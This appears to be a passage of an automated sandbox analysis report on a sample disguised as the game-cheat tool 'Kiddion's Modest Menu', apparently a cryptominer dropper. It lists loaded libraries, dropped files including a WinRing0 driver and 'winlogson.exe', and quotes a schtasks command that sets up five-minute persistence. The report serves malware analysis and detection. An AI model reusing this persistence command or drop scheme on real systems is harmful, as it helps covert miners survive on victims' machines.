Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Kiddion's Modest Menu v.1.0.0.exe

Static file information: File size 1387560 > 1048576

Source: Kiddion's Modest Menu v.1.0.0.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Administrator\Desktop\Pch3lkinMinerBuilder\Task32Main\Task32Main\obj\Debug\Task32Main.pdb source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016824681.0000000001665000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017495532.0000000001604000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp, 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000000.1416561359.0000000000662000.00000002.00000001.01000000.00000008.sdmp, 1C2NX3IUVJPXMLDGP.exe.2.dr
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002BBC000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.14.dr

Source: 1C2NX3IUVJPXMLDGP.exe.2.dr

Static PE information: 0x9A21587A [Mon Dec 11 03:03:22 2051 UTC]

Source: winlogson.exe.14.dr	Static PE information: real checksum: 0x7e7c4c should be: 0x74b70
Source: Kiddion's Modest Menu v.1.0.0.exe	Static PE information: real checksum: 0x0 should be: 0x15de46
Source: 1C2NX3IUVJPXMLDGP.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x11c88

Source: winlogson.exe.14.dr

Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A2DFCA push ecx; ret	0_2_00A2DFDD
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00452D7B push 00BB2166h; ret	2_2_00452D80
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00453FFC push ebp; retf	2_2_00453FFD
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A004F7 push ebx; iretd	2_2_00A004F9
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A004DD push ebx; iretd	2_2_00A004E3
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A2DFCA push ecx; ret	2_2_00A2DFDD
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009EA775 push es; iretd	2_2_009EA776

Source: Kiddion's Modest Menu v.1.0.0.exe

Static PE information: section name: .text entropy: 7.09207256696417

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe

File created: C:\ProgramData\Dllhost\WinRing0x64.sys

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	File created: C:\ProgramData\Dllhost\WinRing0x64.sys	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	File created: C:\ProgramData\Dllhost\winlogson.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	File created: C:\ProgramData\Dllhost\WinRing0x64.sys			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	File created: C:\ProgramData\Dllhost\winlogson.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
